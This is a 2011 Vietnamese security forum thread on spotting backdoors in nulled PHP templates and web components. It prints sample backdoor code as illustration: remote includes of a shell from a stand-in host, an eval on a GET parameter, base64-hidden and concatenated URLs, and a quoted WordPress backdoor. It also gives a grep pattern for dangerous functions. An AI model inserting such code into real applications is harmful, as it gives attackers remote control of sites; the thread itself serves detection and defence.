[Discussion] Nhận biết back-door của ứng dụng web |
08/06/2011 14:14:21 (+0700) | #1 | 239712 |
FaL
Moderator
|
Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
|
|
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?
Mời các bạn cùng tham gia thảo luận! |
|
Hãy giữ một trái tim nóng và một cái đầu lạnh |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
08/06/2011 15:11:28 (+0700) | #2 | 239725 |
protectHat
Member
|
0 |
|
|
Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline
|
|
Thường khi tải một cái template hay một com về. việc đầu tiên là mình dùng AV quét nó (AVG làm tốt việc này). Sau đó mình sẽ xem các thư mục hình ảnh theo chế độ thumbnail. Các hình ảnh mà không hiển thị hoặc quá bé thì sẽ nén lại thành 1 file zip rồi đưa cho virustotal kiểm tra. Về phần code thì mình chạy lên ở local và bật firebug (net) xem code có tải gì khác ở chỗ nào hay không.
Lúc đó mới xem trong code có gì. |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
08/06/2011 15:35:37 (+0700) | #3 | 239728 |
|
tranhuuphuoc
Moderator
|
Joined: 05/09/2004 06:08:09
Messages: 865
Location: Lầu Xanh
Offline
|
|
FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?
Mời các bạn cùng tham gia thảo luận!
- Khi download 1 nguồn nào đó không rõ nguồn gốc, cần dùng trình antivirus để quét, kết hợp với các site quét virus trực tuyến.
- Cài đặt thử trên localhost, dùng phpmyadmin kiểm tra các tables của nó cho thật kỹ, anh cũng từng gặp trường hợp khi download source không rõ nguồn gốc, họ nhúng vào trong tables, để ý kỹ sẽ phát hiện ra có những tables tình nghi được ém khá kỹ.
- Việc sử dụng mã nguồn bất hợp pháp mặc dù bất hợp pháp tuy nhiên nếu "liều mạng, có sức chơi có sức chịu" thì cũng nên chú ý đến đám nulled mã nguồn (tên tuổi, nhóm nulled mã nguồn)
- Nếu đã lỡ cài đặt trên server thì dùng dòng lệnh find trên *nix để tìm các file tình nghi. Thường thị có những đám không sửa đổi tập tin ví dụ như r57.php hoặc các tập tin tình nghi như tao-bup-may-chet.php được nhúng trong source do vậy cũng dễ dàng phát hiện ra.
Đương nhiên khi dùng mã nguồn không rõ nguồn góc thì khả năng "bị nạn" rất cao
Vài ý kiến nhận xét |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
08/06/2011 16:21:40 (+0700) | #4 | 239733 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?
Mời các bạn cùng tham gia thảo luận!
Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.
Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):
Code:
hay biết site đó thành zombies luôn
Code:
<?php
include("http://abcxyz.com/shell.php");
?>
Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định
Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau |
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
08/06/2011 21:40:11 (+0700) | #5 | 239767 |
FaL
Moderator
|
Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
|
|
Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:
1. quét virus toàn bộ source code nghi ngờ;
2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;
3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;
4. config server để chống bypass, LFI;
5. debug code.
Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.
Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
|
|
Hãy giữ một trái tim nóng và một cái đầu lạnh |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 03:13:34 (+0700) | #6 | 239794 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
FaL wrote:
Cám ơn đóng góp của protectHat, anh tranhuuphuoc và xnohat,
Đến đây Fal tổng hợp lại ý kiến của mọi người như sau:
1. quét virus toàn bộ source code nghi ngờ;
2. cài đặt, kiểm tra kỹ db xem có gì lạ, khả nghi hay không;
3. chạy thử nghiệm xem có request nào lạ ra bên ngoài không;
4. config server để chống bypass, LFI;
5. debug code.
Quả thật công tác kiện toàn bảo mật cho web-application không thể tách rời việc kiện toàn bảo mật của server. Những bước 1, 2, 3 thực hiện không khó, nhưng đến bước thứ 4 cần phải có kiến thức tốt về hệ thống mới có thể thực hiện được, bước thứ 5 đòi hỏi trình độ code khá cao mới có thể thực hiện được. 2 bước cuối có vẻ ngắn gọn nhưng chứa đựng trong đó quá nhiều công việc.
Đáng tiếc là hiện nay việc kiện toàn bảo mật chưa được quan tâm đúng mức, người dùng nói chung sẵn sàng tắt antivirus để chạy crack một phần mềm nào đó. Coder sẵn sàng download source code lạ trong khi không đủ khả năng để debug.
Việc làm trên dường như quá mất công sức và tốn kém. Theo em cách đơn giản nhất là dùng chương trình bắt gói tin để tóm các gói tin sử dụng phương thức TCP/IP của máy chúng ta khi nó kết nối với máy tính khác, và điều tra từ đó. Đôi lúc backdoor còn được chèn vào database và được "lôi ra" bằng eval (PHP) nên, với lại các đoạn mã phần lớn được ecrypt dưới dạng base64 hoặc nhiều dạng khác tự chế cũng khá phong phú làm các antivirus bó tay.
Giải pháp có lẽ là disable các hàm PHP không cần thiết và có thể tác động tới hệ thống, bắt các truy vấn gửi đi từ máy mình. Cố gắng khoanh vùng. Loại bỏ các table nghi vấn chứa backdoor trong database. Còn debug source chắc là thuê người làm thôi ^^! vì nhiều quá một mình làm không hết . |
|
while(1){} |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 03:17:31 (+0700) | #7 | 239795 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
xnohat wrote:
FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?
Mời các bạn cùng tham gia thảo luận!
Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.
Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):
Code:
hay biết site đó thành zombies luôn
Code:
<?php
include("http://abcxyz.com/shell.php");
?>
Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định
Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau
Bạn nghĩ sao về đoạn mã nhỏ này:
Code:
<?php
....
if(isset($_GET['chiro8x']))eval($_GET['chiro8x']);
....
?>
Have fun ^^!. |
|
while(1){} |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 07:19:01 (+0700) | #8 | 239801 |
protectHat
Member
|
0 |
|
|
Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 07:41:15 (+0700) | #9 | 239807 |
TQN
Elite Member
|
0 |
|
|
Joined: 29/06/2006 22:28:01
Messages: 888
Location: Biết làm chi ?
Offline
|
|
Nên dùng các tool quét security, bug static để quét code. |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 08:24:57 (+0700) | #10 | 239811 |
FaL
Moderator
|
Joined: 14/04/2006 09:31:18
Messages: 1232
Offline
|
|
TQN wrote:
Nên dùng các tool quét security, bug static để quét code.
anh TQN cho em mấy cái tool tin cậy đi anh! |
|
Hãy giữ một trái tim nóng và một cái đầu lạnh |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 10:12:05 (+0700) | #11 | 239819 |
|
WinDak
Researcher
|
Joined: 27/01/2002 11:15:00
Messages: 223
Offline
|
|
Ngoài check source, grep những từ khả nghi, thì có thể check cả access log và error log nữa.
Có thể grep những cái khả nghi như: /../ , /etc , eval, base64 , edit, cmd, exec, pass, ... còn tìm ra hay không thì chắc phải dựa vào may mắn nữa.
Có xem qua 1 chiêu như thế này nữa :
Code:
global $wpdb;
$trp_rss=$wpdb->get_var(
"SELECT option_value FROM $wpdb->options WHERE option_name='rss_f541b3abd05e7962fcab37737f40fad8'");
preg_match("!events or a cale\"\;s\:7\:\'(.*?)\'!is",$trp_rss,$trp_m);
$trp_f=create_function("",strrev($trp_m[1]));
$trp_f();
Đoạn code tường chừng đơn giản vô hại được chèn vào 1 file của wordpress.
strrev sẽ reverse hết tất cả các string như base64, cmd,...
và đây là 1 đoạn trong database
Code:
...a bunch of junk here...J3byJXZ"(edoced_46esab(lave
Source: http://ottodestruct.com/blog/2009/hacked-wordpress-backdoors/
|
|
-- w~ -- |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 10:12:47 (+0700) | #12 | 239820 |
|
xnohat
Moderator
|
Joined: 30/01/2005 13:59:19
Messages: 1210
Location: /dev/null
Offline
|
|
@FaL: Đây là đồ chơi do lão seamoun giới thiệu nè em
https://www.hvaonline.net/hvaonline/posts/list/36839.html
riêng anh thì thấy RIPS là công cụ tuyệt vời nhất để check vul đối với ngôn ngữ PHP, list rõ tất cả các điểm có nguy cơ gây lỗi nghiêm trọng như anh đã đề cập, lẫn tạo điều kiện kiểm tra điểm nhập. Nếu biết debug code, thì các thế loại shell trên có thể dc loại bỏ gần hết |
|
iJust clear, "What I need to do and how to do it"/i
br
brBox tán gẫu dời về: http://www.facebook.com/hvaonline |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 10:42:47 (+0700) | #13 | 239826 |
|
Ikut3
Elite Member
|
0 |
|
|
Joined: 24/09/2007 23:47:03
Messages: 1429
Location: Nhà hát lớn
Offline
|
|
Có thể grep những cái khả nghi như: /../ , /etc , eval, base64 , edit, cmd, exec, pass, ... còn tìm ra hay không thì chắc phải dựa vào may mắn nữa.
Hi WinDak
Em tổng hợp lại các đoạn màu đỏ này của anh qua đoạn script này được không
Code:
grep -RPn "(passthru|shell_exec|system|phpinfo|base64_decode|chmod|mkdir|fopen|fclose|readfile) *\(" public_html/
Các trường hợp bị base64 hay include, em thấy cách chuẩn nhất vẫn là test ở môi trường localhost tương tự với hệ thống Production đang chạy |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 12:31:34 (+0700) | #14 | 239832 |
dacminhm
Member
|
0 |
|
|
Joined: 03/06/2010 20:28:34
Messages: 8
Offline
|
|
Các bạn siêu cao thủ quá..nói thế thì các newmem hiểu sao nổi! Người xem hiểu thì chả cần đọc hướng dẫn các bạn làm gì vì họ...hiểu sẵn rồi! Nên với tư cách newmem nên có ý kiến sau:
_ Tôi thấy thường các backdoor trên web application thì chẳng antivirus nào quét ra nổi.
_ Không dại gì config server bằng cách khoá mấy hàm ít cần (ít cần chứ không phải ko cần) ví dụ như fopen, fclose, readfile thì lỡ tôi muốn xây dựng 1 cái box chat mà lưu database dưới dạng text ngay trong 1 file temp thì sao? Sử dụng mấy lệnh khác tương tự nhưng dài hơn thì...hổng biết ) Hay
_ Không có kiến thức debug..nhưng chung quy backdoor nếu không biến ta thành zoombie thì cũng là ăn cắp information --> và kiểu gì cũng phải gửi đến đâu đó --> Cho lên một host free nào đó ..chạy source --> phân tích bằng firebug còn nếu không biết dùng thì chơi bằng adblock. Cái nào mà không phải từ host của ta thì...bóp chết thôi. Cách bóp chết thì dễ thôi, nếu là file thì xoá file đi, nếu là code thì xoá dòng code đó đi. Nếu kém hơn nữa là không biết sửa thì.... thay địa chỉ đó bằng địa chỉ của ta! Hoặc chặn luôn ip của nó đi cho hết gửi.
_ À có ai chống chế hắn chèn kiểu date=time thì include..thì vô tư đi. Máy chủ là máy ảo, máy client cũng cho ảo luôn. Cả hai máy ảo này cho đổi thời gian chạy luôn 1 năm (mỗi lần đổi time chỉnh cho lên 1 tháng coi) mất tầm 10 phút là truy ra hết mấy địa chỉ rỏm. Nói vui thế chứ, bình thường kiểu gì hắn cũng phải include 1 file shell nằm đâu đó (trong source của ta thì dễ chơi quá khỏi bàn) nếu là 1 đường link thì...ha ha... mở toàn bộ file trong source lên (tôi thấy dùng Notepad++ cũng đựoc) rồi Ctrl+F theo kiểu http,ftp,https,.... thì kiểu gì cũng ra! Ra rồi thì quay lại bước trên kia.
_ Bị chèn trong database SQL, MySQL ư? Lúc đầu cứ đặt prefix bằng tên của riêng ta, cái nào mà không phải tên ta thì cứ xoá vô tư! Hắc hắc... Còn nếu kém hơn thì chơi kiểu 2 source chạy 2 máy khác nhau ( 1 trong nó chạy cái cần thử ) rồi đem 2 cái data ra so sánh mà..bó tay rồi... trước khi install cái nào thì cố xem database nó gồm cái gì, chứ đã install rồi mà ngồi tìm thì có mà ốm...
newmem chỉ biết thế...các bạn chỉ giáo gì không? chứ nói cao siêu như trên thì khó chơi quá
|
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 16:22:40 (+0700) | #15 | 239851 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
dacminhm wrote:
Các bạn siêu cao thủ quá..nói thế thì các newmem hiểu sao nổi! Người xem hiểu thì chả cần đọc hướng dẫn các bạn làm gì vì họ...hiểu sẵn rồi! Nên với tư cách newmem nên có ý kiến sau:
_ Tôi thấy thường các backdoor trên web application thì chẳng antivirus nào quét ra nổi.
_ Không dại gì config server bằng cách khoá mấy hàm ít cần (ít cần chứ không phải ko cần) ví dụ như fopen, fclose, readfile thì lỡ tôi muốn xây dựng 1 cái box chat mà lưu database dưới dạng text ngay trong 1 file temp thì sao? Sử dụng mấy lệnh khác tương tự nhưng dài hơn thì...hổng biết ) Hay
_ Không có kiến thức debug..nhưng chung quy backdoor nếu không biến ta thành zoombie thì cũng là ăn cắp information --> và kiểu gì cũng phải gửi đến đâu đó --> Cho lên một host free nào đó ..chạy source --> phân tích bằng firebug còn nếu không biết dùng thì chơi bằng adblock. Cái nào mà không phải từ host của ta thì...bóp chết thôi. Cách bóp chết thì dễ thôi, nếu là file thì xoá file đi, nếu là code thì xoá dòng code đó đi. Nếu kém hơn nữa là không biết sửa thì.... thay địa chỉ đó bằng địa chỉ của ta! Hoặc chặn luôn ip của nó đi cho hết gửi.
_ À có ai chống chế hắn chèn kiểu date=time thì include..thì vô tư đi. Máy chủ là máy ảo, máy client cũng cho ảo luôn. Cả hai máy ảo này cho đổi thời gian chạy luôn 1 năm (mỗi lần đổi time chỉnh cho lên 1 tháng coi) mất tầm 10 phút là truy ra hết mấy địa chỉ rỏm. Nói vui thế chứ, bình thường kiểu gì hắn cũng phải include 1 file shell nằm đâu đó (trong source của ta thì dễ chơi quá khỏi bàn) nếu là 1 đường link thì...ha ha... mở toàn bộ file trong source lên (tôi thấy dùng Notepad++ cũng đựoc) rồi Ctrl+F theo kiểu http,ftp,https,.... thì kiểu gì cũng ra! Ra rồi thì quay lại bước trên kia.
_ Bị chèn trong database SQL, MySQL ư? Lúc đầu cứ đặt prefix bằng tên của riêng ta, cái nào mà không phải tên ta thì cứ xoá vô tư! Hắc hắc... Còn nếu kém hơn thì chơi kiểu 2 source chạy 2 máy khác nhau ( 1 trong nó chạy cái cần thử ) rồi đem 2 cái data ra so sánh mà..bó tay rồi... trước khi install cái nào thì cố xem database nó gồm cái gì, chứ đã install rồi mà ngồi tìm thì có mà ốm...
newmem chỉ biết thế...các bạn chỉ giáo gì không? chứ nói cao siêu như trên thì khó chơi quá
Có người hiểu nhầm nội dung của topic thì phải không biết adblock có tác dụng gì ở đây. Bạn à topic đang thảo luận viề backdoor can thiệp vào các file script trên server. Việc này phức tạp hơn những gì bạn mô tả ở trên .
Mình ví dụ về độ phức tạp mà bạn chưa tưởng tượng ra nhé.
Code:
include_once(base64_decode("aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA="));
aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=
Là
http://testsite.com/backdoor.php đã được encrypt với hàm base64_encode();
Ngoài ra còn nhiều cách đơn giản hơn:
Code:
include_once("h"."t"."t"."p".":"."/"."/"."testsite.com/backdoor.php");
Không phải ai cũng ngốc nghếch tới mức chèn URL vào file đâu :"<.
Ngoài ra việc bạn nói Lúc đầu cứ đặt prefix bằng tên của riêng ta. Phần lớn mọi người sau khi thâm nhập hệ thống sẽ cố gắng để lại ít dấu vết càng tốt, không làm xáo trộng thời gian tạo file (thậm chí set date & time server về lúc đầu để edit file sau đó trả lại date/time hiện tại). Việc chèn backdoor không nhất thiết tạo table mới chỉ cần chèn vào một table có sẳn kèm theo đó là một key mà chắc chắn sẽ không được truy vấn tới.
|
|
while(1){} |
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 18:43:19 (+0700) | #16 | 239867 |
|
canh_nguyen
Elite Member
|
0 |
|
|
Joined: 23/08/2004 18:55:09
Messages: 775
Location: Broken dream
Offline
|
|
xnohat wrote:
FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?
Mời các bạn cùng tham gia thảo luận!
Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.
Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):
Code:
hay biết site đó thành zombies luôn
Code:
<?php
include("http://abcxyz.com/shell.php");
?>
Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định
Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau
Với cái source nhỏ nhỏ thì còn dễ dò chứ giờ cái source nào tầm vài chục MB toàn text, rồi nó nhét đâu đó 1 cái form upload thì ... |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 20:53:57 (+0700) | #17 | 239887 |
smile_sad
Member
|
0 |
|
|
Joined: 15/08/2006 19:15:08
Messages: 96
Offline
|
|
Một cái form upload thật là đáng để lưu tâm. Mình thì cứ lo scan tìm backdoor. Còn attacker thì muốn có backdoor lúc nào cũng được. Như vậy thì đành phải secure hết các folder 777 rồi. |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 21:02:10 (+0700) | #18 | 239890 |
dacminhm
Member
|
0 |
|
|
Joined: 03/06/2010 20:28:34
Messages: 8
Offline
|
|
Bạn chiro8x làm như tôi là chuyên gia vậy đã nói từ đầu là newmem mà lỵ )
Còn nữa tôi cứ theo cái câu của FAL Source code của ứng dụng có chứa backdoor hay không?
; bàn ra thế, chứ không bàn về source code sau khi bị tấn công hay phát hiện ra bị tấn công!
Cái vụ này phức tạp thật !
Code:
aHR0cDovL3Rlc3RzaXRlLmNvbS9iYWNrZG9vci5waHA=
nó được mã hoá bằng base64 hả? Khó nhỉ? ngoài ra còn chơi SHA hay MD5 nữa cho khoẻ đi... chả biết nó mã hoá bằng gì hay giấu kiểu gì thì kết quả cuối cùng thì cũng là gửi 1 cái gì đó đến cái URL đấy tôi ý kiến như thế các bạn có thấy đúng ko? Thế thì chỉ cần phân tích toàn bộ các url mà server kết nối đến là xong! Newmem chỉ biết thế thôi...Vì ngay FAL đã nói là
Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Có bạn nào chỉ cách khắc phục vụ form upload với giả sử đang chơi forum thì phải có nơi cho mem upload lên chứ? cấm sao đựoc! |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 22:17:49 (+0700) | #19 | 239900 |
smile_sad
Member
|
0 |
|
|
Joined: 15/08/2006 19:15:08
Messages: 96
Offline
|
|
Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...
Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.
Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.
Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.
Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?
Mọi người tiếp tục thảo luận nhé. |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
09/06/2011 22:24:28 (+0700) | #20 | 239902 |
mthien
Member
|
0 |
|
|
Joined: 19/12/2010 10:54:50
Messages: 14
Offline
|
|
xnohat wrote:
FaL wrote:
Thời gian vừa qua rất nhiều website ở ta bị deface, việc kiện toàn bảo mật cho website đang là một vấn đề khá nóng bỏng. Chủ đề này không đi sâu vào việc kiện toàn bảo mật cho server chứa ứng dụng web, mà thảo luận về việc nhận biết backdoor của web-application không có nguồn gốc rõ ràng.
Thực tế có rất nhiều website sử dụng mã nguồn mở, nhưng kèm theo đó, chủ nhân của website cũng dùng rất nhiều module, component khác không có nguồn gốc rõ ràng (các hacked templates, hacked components,...). Dùng các source này nghĩa là bạn đã chấp nhận phiêu lưu với độ an toàn website của mình. "Source code của ứng dụng có chứa backdoor hay không?" luôn là câu hỏi thời sự. Vậy có cách nào nhận biết, phòng tránh trường hợp này không?
Mời các bạn cùng tham gia thảo luận!
Cái này khó lắm à nha
Việc cài lại các shell script được trích xuất từ các shell script nổi tiếng như C99, r57 ( php ), JMXshell ( JSP )... là chuyện script kiddies mới làm, vì quất lên antivirus phát là lòi ra ngay tức thì.
Các tay Null source cao tay thì thường chỉ chèn đoạn mã sau ( ví dụ với PHP ):
Code:
hay biết site đó thành zombies luôn
Code:
<?php
include("http://abcxyz.com/shell.php");
?>
include("http://abcxyz.com/shell.php"
Vụ trên gọi là "cố ý tạo ra lỗi"
Nếu chèn mã như trên thì khá căng , cần trình độ source debugging tốt để dò tìm lỗi bên trong source, đây hoàn toàn là công việc của một tester . Mà tay nào giỏi source debugging thì họ tự NULLED ứng dụng đó rồi, hoặc dư sức tự mua vì trình độ thế thì thường có công ăn việc làm ổn định
Dĩ nhiên cách trên có thể vô hiệu hoá bằng allow_url_fopen=Off ( với PHP ), nhưng lỗi trên vẫn dễ dàng tạo điều kiện cho Local File Inclusion với nhiều phương pháp khai thác nâng cao khác nhau
hi mọi người, cái này em cũng vừa gặp luôn anh sau hack thằng bạn dùng anti để quét nhưng không phát hiện sau đó em search content thì lòi ra include(..) system(..) ... nhớ đời luôn, cảm ơn Fal vì bài của anh rất hữu ích. |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 08:47:32 (+0700) | #21 | 239962 |
protectHat
Member
|
0 |
|
|
Joined: 09/08/2008 11:02:35
Messages: 176
Location: DMZ
Offline
|
|
smile_sad wrote:
Theo mình nghĩ thông thường các folder cho phép upload chủ yếu là images,thumbs... Vậy nếu backdoor upload vào đây thì chắc nó là .php, .asp, .aspx...
Mình rành linux hơn windows 1 chút nên mình xin nói về linux nhé.
Ý kiến của mình là tạo 1 file .htaccess remove toàn bộ handler .php. Rồi chmod cái .htaccess này sao cho người ta không override nó được.
Tuy nhiên nếu mà source code có quá nhiều folder cho phép upload, việc lạm dụng .htaccess sẽ ảnh hưởng đến performance của hệ thống. Do đó nếu bạn thành thạo code thì có lẽ phải can thiệp vào code để xứ lí thôi.
Ở trên mình đưa ra tình huống là cái form upload đó đã chỉ định upload vào 1 folder trong sourcecode. Nhưng nếu attacker tạo mới 1 folder sau đó ném backdoor vào thì phải làm sao?
Mọi người tiếp tục thảo luận nhé.
backdoor thường có đuôi là .jpg bạn ạ ;
Dùng firephp là cách dễ nhất, đơn giản nhất đó. Nhưng mà dùng NULL thì dính backdoor là thường |
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
10/06/2011 10:34:21 (+0700) | #22 | 239996 |
|
chiro8x
Member
|
0 |
|
|
Joined: 26/09/2010 00:38:37
Messages: 661
Location: /home/chiro8x
Offline
|
|
|
|
[Discussion] Nhận biết back-door của ứng dụng web |
